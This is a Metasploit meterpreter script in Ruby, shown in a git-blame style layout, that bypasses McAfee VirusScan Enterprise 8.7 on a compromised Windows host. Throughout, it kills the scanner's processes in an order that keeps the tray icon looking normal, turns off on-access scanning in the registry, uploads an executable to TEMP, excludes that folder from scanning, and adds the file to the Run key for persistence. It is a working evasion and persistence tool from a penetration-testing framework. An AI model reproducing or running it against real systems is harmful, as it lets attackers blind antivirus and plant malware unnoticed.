2014-09-16 21:41:14 +00:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
|
|
# If you'd like to imporve this script, please try to port it as a post
|
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2011-10-23 11:56:13 +00:00
|
|
|
# Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic
|
|
|
|
# order which keeps VirusScan icon visible at system tray without disabled sign on it.
|
|
|
|
# Additionally it lets you disable On Access Scanner from registry, upload your detectable
|
|
|
|
# binary to TEMP folder, add that folder to the VirusScan exclusion list and CurrentVersion\Run
|
|
|
|
# registry key. (Requires administrator privilege. Tested on XP SP3)
|
|
|
|
#
|
|
|
|
# Credits: hdm, jduck, Jerome Athias (borrowed some of their codes)
|
|
|
|
#
|
|
|
|
# Provided by: Mert SARICA - mert.sarica [@] gmail.com - http://www.mertsarica.com
|
|
|
|
|
|
|
|
session = client
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false,"Help menu." ],
|
|
|
|
"-k" => [ false,"Only kills VirusScan processes"],
|
|
|
|
"-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ]
|
2011-10-23 11:56:13 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
################## function declaration Declarations ##################
|
|
|
|
def usage()
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com"
|
|
|
|
print_line "----------------------------------------------------------------------------------------------"
|
|
|
|
print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it"
|
|
|
|
print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)"
|
|
|
|
print_line "----------------------------------------------------------------------------------------------"
|
|
|
|
print_line(@@exec_opts.usage)
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
@path = ""
|
|
|
|
@location = ""
|
|
|
|
|
|
|
|
def upload(session,file,trgloc)
|
2013-09-30 18:47:53 +00:00
|
|
|
if not ::File.exists?(file)
|
|
|
|
raise "File to Upload does not exists!"
|
|
|
|
else
|
2013-12-19 01:43:59 +00:00
|
|
|
@location = session.sys.config.getenv('TEMP')
|
2013-09-30 18:47:53 +00:00
|
|
|
begin
|
|
|
|
ext = file.scan(/\S*(.exe)/i)
|
|
|
|
if ext.join == ".exe"
|
|
|
|
fileontrgt = "#{@location}\\MS#{rand(100)}.exe"
|
|
|
|
else
|
|
|
|
fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}"
|
|
|
|
end
|
|
|
|
@path = fileontrgt
|
|
|
|
print_status("Uploading #{file}....")
|
|
|
|
session.fs.file.upload_file("#{fileontrgt}","#{file}")
|
|
|
|
print_status("Uploaded as #{fileontrgt}")
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return fileontrgt
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#parsing of Options
|
|
|
|
file = ""
|
|
|
|
helpcall = 0
|
|
|
|
killonly = 0
|
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-e"
|
|
|
|
file = val || ""
|
|
|
|
when "-h"
|
|
|
|
helpcall = 1
|
|
|
|
when "-k"
|
|
|
|
killonly = 1
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
if killonly == 0
|
2013-09-30 18:47:53 +00:00
|
|
|
if file == ""
|
|
|
|
usage
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Magic kill order :)
|
|
|
|
avs = %W{
|
2013-09-30 18:47:53 +00:00
|
|
|
shstat.exe
|
|
|
|
engineserver.exe
|
|
|
|
frameworkservice.exe
|
|
|
|
naprdmgr.exe
|
|
|
|
mctray.exe
|
|
|
|
mfeann.exe
|
|
|
|
vstskmgr.exe
|
|
|
|
mcshield.exe
|
2011-10-23 11:56:13 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
av = 0
|
|
|
|
|
|
|
|
plist = client.sys.process.get_processes()
|
|
|
|
plist.each do |x|
|
2013-09-30 18:47:53 +00:00
|
|
|
if (avs.index(x['name'].downcase))
|
|
|
|
av = av + 1
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
if av > 6
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("VirusScan Enterprise v8.7.0i+ is running...")
|
2011-10-23 11:56:13 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("VirusScan Enterprise v8.7.0i+ is not running!")
|
|
|
|
raise Rex::Script::Completed
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
target_pid = nil
|
|
|
|
target ||= "mfevtps.exe"
|
|
|
|
|
|
|
|
print_status("Migrating to #{target}...")
|
|
|
|
|
|
|
|
# Get the target process pid
|
|
|
|
target_pid = client.sys.process[target]
|
|
|
|
|
|
|
|
if not target_pid
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Could not access the target process")
|
|
|
|
raise Rex::Script::Completed
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Migrating into process ID #{target_pid}")
|
|
|
|
client.core.migrate(target_pid)
|
|
|
|
|
|
|
|
target_pid = nil
|
|
|
|
|
|
|
|
if killonly == 1
|
2013-09-30 18:47:53 +00:00
|
|
|
avs.each do |x|
|
|
|
|
# Get the target process pid
|
|
|
|
target_pid = client.sys.process[x]
|
|
|
|
print_status("Killing off #{x}...")
|
|
|
|
client.sys.process.kill(target_pid)
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
avs.each do |x|
|
|
|
|
# Get the target process pid
|
|
|
|
target_pid = client.sys.process[x]
|
|
|
|
print_status("Killing off #{x}...")
|
|
|
|
client.sys.process.kill(target_pid)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Upload it
|
|
|
|
exec = upload(session,file,"")
|
|
|
|
|
|
|
|
# Initiailze vars
|
|
|
|
key = nil
|
|
|
|
value = nil
|
|
|
|
data = nil
|
|
|
|
type = nil
|
|
|
|
|
|
|
|
# Mcafee registry key
|
|
|
|
key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default'
|
|
|
|
|
|
|
|
# Split the key into its parts
|
|
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
|
|
|
|
|
|
# Disable when writing to disk option
|
|
|
|
value = "bScanIncoming"
|
|
|
|
data = 0
|
|
|
|
type = "REG_DWORD"
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
|
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
|
|
print_status("Successful set #{key} -> #{value} to #{data}.")
|
|
|
|
|
|
|
|
# Disable when reading from disk option
|
|
|
|
value = "bScanOutgoing"
|
|
|
|
data = 0
|
|
|
|
type = "REG_DWORD"
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
|
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
|
|
print_status("Successful set #{key} -> #{value} to #{data}.")
|
|
|
|
|
|
|
|
# Disable detection of unwanted programs
|
|
|
|
value = "ApplyNVP"
|
|
|
|
data = 0
|
|
|
|
type = "REG_DWORD"
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
|
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
|
|
print_status("Successful set #{key} -> #{value} to #{data}.")
|
|
|
|
|
|
|
|
# Increase the number of excluded items
|
|
|
|
value = "NumExcludeItems"
|
|
|
|
data = 1
|
|
|
|
type = "REG_DWORD"
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
|
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
|
|
print_status("Successful set #{key} -> #{value} to #{data}.")
|
|
|
|
|
|
|
|
# Add executable to excluded item folder
|
|
|
|
value = "ExcludedItem_0"
|
|
|
|
data = "3|3|" + @location
|
|
|
|
type = "REG_SZ"
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
|
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
|
|
print_status("Successful set #{key} -> #{value} to #{data}.")
|
|
|
|
|
|
|
|
# Set registry to run executable at startup
|
|
|
|
key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
|
|
|
|
# Split the key into its parts
|
|
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
|
|
value = "MS"
|
|
|
|
data = @path
|
|
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
|
|
|
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
|
|
print_status("Successful set #{key} -> #{value} to #{data}.")
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Finished!")
|